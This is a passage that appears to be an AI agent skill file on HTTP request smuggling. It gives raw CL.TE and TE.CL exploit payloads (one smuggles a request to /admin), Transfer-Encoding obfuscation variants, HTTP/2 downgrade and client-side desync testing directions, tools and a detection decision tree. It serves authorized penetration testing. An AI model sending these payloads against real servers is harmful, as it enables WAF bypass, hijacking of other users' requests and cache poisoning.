pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is
message boundary disagreement
between hops.
Routing note: load this skill when you suspect CDN/reverse-proxy and origin disagree on request-end boundaries, or when abnormal concatenation appears during H2-to-H1 downgrade.
0. QUICK START
CL.TE first probe (front-end trusts CL, back-end trusts chunked)
Assumption: front end prioritizes
Content-Length
, back end prioritizes
Transfer-Encoding: chunked
. Use a very short CL so the front end accepts a fake end, while the back end continues chunk parsing and leaves remaining bytes for the next request.
POST
/
HTTP/1.1
Host
:
target.example
Content-Type
:
application/x-www-form-urlencoded
Content-Length
:
13
Transfer-Encoding
:
chunked
0
SMUGGLED
Front end reads only 13 bytes based on
Content-Length: 13
(that is,
0\r\n\r\nSMUGGLED
, 13 bytes total) and considers the request complete.
Back end parses as chunked: after the
0
end chunk, it treats
SMUGGLED
and onward
as the start byte stream of the
next request
.
TE.CL first probe (front-end trusts chunked, back-end trusts CL)
Assumption: front end parses chunked and back end only reads
Content-Length
. Set
CL equal to the number of bytes in the chunk-length line
(commonly
4
two hex characters +
\r\n
), so the back end consumes only the length line and leaves the rest buffered for follow-up request splicing.
Embed a second request in the chunk (all line endings are
CRLF
;
35
hex chunk length = 53 bytes):
POST
/
HTTP/1.1
Host
:
target.example
Content-Type
:
application/x-www-form-urlencoded
Content-Length
:
4
Transfer-Encoding
:
chunked
35
GET
/
admin
HTTP/1.1
Host
:
target.example
Foo
:
x
0
On the wire, the chunk body must be exactly 53 bytes; if you change path/headers, recalculate chunk length and update the hex length line accordingly.
Safety note
Test only within
authorized scope
; concurrent smuggling can poison connection pools, corrupt caches, or impact other tenants. Prefer isolated environments or low-traffic windows.
1. CORE CONCEPT
Definition
two (or more) HTTP processing entities disagree on where request one ends and request two begins in the
same TCP/TLS stream
, allowing an attacker to include a
partial or full
second request inside one logical request.
Client Front (proxy/WAF) Back (origin)
| | |
|==== Request A+B ===>| |
| | parses boundary #1 | parses boundary #2
| | \ | /
| | different split points
| | |
v v v
Request A (seen) Request A' + smuggled B
Difference from CRLF injection
CRLF usually injects into
responses
or
header lines
; smuggling targets implementation differences in
RFC 7230 message framing
(
Content-Length
/
chunked
).
High-value impact
WAF rule bypass (smuggled body not visible in front-end request), hijacking other users' requests on shared-origin connections (queue poisoning), cache-poisoning assistance, and authentication-boundary confusion.
2. CL.TE VULNERABILITIES
Pattern
front end trusts
Content-Length
; back end trusts
Transfer-Encoding: chunked
.
Exact example
(same as §0):
Content-Length: 13
and
Transfer-Encoding: chunked
both exist, body is:
0\r\n\r\nSMUGGLED
Byte count:
0
+
\r\n
+
\r\n
+
SMUGGLED
= 13.
Back-end perspective
the chunked stream ends at
0\r\n\r\n
; if
SMUGGLED
starts with
METHOD SP
or another valid request prefix, it becomes a
smuggled request-line prefix
.
Tuning
if the target is sensitive to duplicate headers, casing, or spaces, minimally adjust
Transfer-Encoding
variants (see §4) while preserving semantics to match a combo where front end ignores TE and back end executes TE.
3. TE.CL VULNERABILITIES
Pattern
front end parses
chunked
; back end only reads
Content-Length
(or too-short CL).
Intent
front end treats the whole malicious byte stream as body; back end reads only CL length, leaving remaining bytes buffered to splice with later legitimate requests.
Full TE.CL with embedded second request
(same family as §0;
Content-Length: 4
+ first chunk-length line
35\r\n
):
POST
/
HTTP/1.1
Host
:
target.example
Content-Type
:
application/x-www-form-urlencoded
Content-Length
:
4
Transfer-Encoding
:
chunked
35
GET
/
admin
HTTP/1.1
Host
:
target.example
Foo
:
x
0
Explanation:
Back end (CL)
reads only 4 bytes from the message body start ->
3
5
\r
\n
, marks body complete, and leaves the remaining bytes in the TCP read buffer.
Front end (TE)
parses full stream as chunked and forwards/consumes
GET /admin...
as body content of the
already-closed first request
(product-dependent); mismatch with back-end boundary interpretation forms TE.CL.
For longer smuggling (e.g.,
POST
+
Content-Length: 11
+
x=1
), chunk length is about
76
(hex
0x76
= 118 bytes);
Content-Length: 4
can still pin the back end to reading only the length line.
Practical notes
chunk length must be valid hex; second request must meet target expectations for Host, path, and session cookie; timing window and connection-reuse strategy determine whether you hit another user's request.
4. TE.TE VULNERABILITIES
Pattern
both front and back claim to process
Transfer-Encoding
, but differ on which TE value is effective or valid -> still producing equivalent desync where one side sees chunked and the other does not.
Use the following
8 obfuscation variants
to probe parser differentials (single-line display;
\t
means a real TAB):
Transfer-Encoding
:
xchunked
Transfer-Encoding : chunked
Transfer-Encoding
:
chunked
Transfer-Encoding
:
chunked
Transfer-Encoding
:
x
Transfer-Encoding
:
[TAB]chunked
(Replace
[TAB]
with real
\x09
.)
Transfer-Encoding: chunked
(One leading space at line start.)
X
:
X
Transfer-Encoding
:
chunked
(Previous line value is
X
and next line starts with
Transfer-Encoding
this uses
line continuation / lenient header parsing
so one hop may merge or split lines incorrectly; separator between
X
and
Transfer-Encoding
may be
\n
or
\r\n
depending on the target stack.)
Transfer-Encoding
chunked
(Field name and colon are on
different physical lines
; some parsers still treat it as valid
Transfer-Encoding: chunked
.)
Strategy
for each (front, back) pair, enumerate which side accepts each variant as
chunked
, then map to equivalent CL.TE or TE.CL using §2/§3.
5. HTTP/2 REQUEST SMUGGLING
H2 -> H1 Downgrade
Common scenario: edge supports HTTP/2 and origin uses HTTP/1.1. If implementation does not strictly normalize header fields and body boundaries, you may observe:
incorrect pseudo-header to regular-header mapping order;
forbidden headers (such as some
Connection
combinations) forwarded incorrectly;
duplicate-header merge rules inconsistent with the origin.
if one hop keeps the full string in a header value and the next hop mis-splits during H1 reconstruction, parsing may start a new
GET / HTTP/1.1
at
\r\n\r\n
.
Testing directions
:
duplicate and case handling for
Transfer-Encoding
/
Content-Length
in H2 (H2 requires lowercase, but translation layers can fail);
downgrade behavior when
:method
or
:path
includes abnormal characters;
interactions between tunneling or extended CONNECT and smuggling.
6. CLIENT-SIDE DESYNC
Scenario
browser request-body handling differs from middleware/origin, or
no-cors
+ preflight exemptions
permit atypical messages that create queue effects similar to classic CL.TE/TE.CL (architecture-dependent).
HEAD + GET chain
some stacks historically mishandle HEAD response bodies, later pipelining, or connection reuse; validate with concrete browser versions and target proxy behavior.
browser security model limits direct readability; success often appears as side effects on other requests over the same connection or as abnormal server logs/behavior, not direct response reading. Evaluate with SOP, CORS, and extension/proxy factors.
7. TOOLS
Tool
Purpose
Burp Suite — HTTP Request Smuggler
(BApp Store)
Automated desync detection, common variants, timing-delta checks
defparam/smuggler
(GitHub)
Python scripts for batch generation/sending of smuggling probes
dhmosfunk/simple-http-smuggler-generator
(GitHub)
Quickly assemble raw CL.TE / TE.CL message templates
Usage advice
first passively confirm a
front-end + origin
two-hop path, then select minimally disruptive probes, and lower concurrency in production.
8. DETECTION DECISION TREE
Start: reverse proxy / CDN in path?
|
NO -------------+------------- YES
| |
Low classic smuggling |
(still test H2 desync) v
Can you send TE + CL together?
|
NO -------------------+------------------- YES
| |
Test H2-only issues Front prefers which?
(pseudo-header, reset) |
+-------------------------------+-------------------------------+
| | |
CL wins TE wins errors /
| | connection
v v |
CL.TE probes TE.CL probes TE.TE obfuscation
(Sec 0,2) (Sec 0,3) (Sec 4)
| | |
v v v
Time / content / Adjust chunk Pairwise matrix:
queue poisoning sizes + CL which hop accepts
signals? alignment which variant?
| | |
+-------------------------------+-------------------------------+
|
v
Confirm with second request
smuggled (replay-safe)
or Collaborator-style side signal
Advanced Reference
Also load
H2_SMUGGLING_VARIANTS.md
when you need:
H2.CL and H2.TE variants with byte-level payload examples
CL.0 (connection close desync) — technique and detection
Fat GET request smuggling (body in GET request)
Request smuggling → cache poisoning chain (response queue misalignment)
Client-side desync (CSD) via browser Fetch API with JavaScript PoC templates
CDN/reverse proxy product behavior matrix (HAProxy, Nginx, Apache, Cloudflare, AWS ALB, Envoy, Varnish, etc.)
12. RELATED ROUTING
Input enters interpreter/query language/template
(not HTTP framing) ->
Injection Testing Router
(then drill down into XSS, SQLi, SSTI, etc.).
Response header splitting / Location CRLF
->
CRLF Injection
.
Cache and path-key confusion
->
Web Cache Deception
.
Once confirmed as an
HTTP message-boundary
issue rather than parameter injection,
stay in this skill
to avoid misrouting into general injection workflows.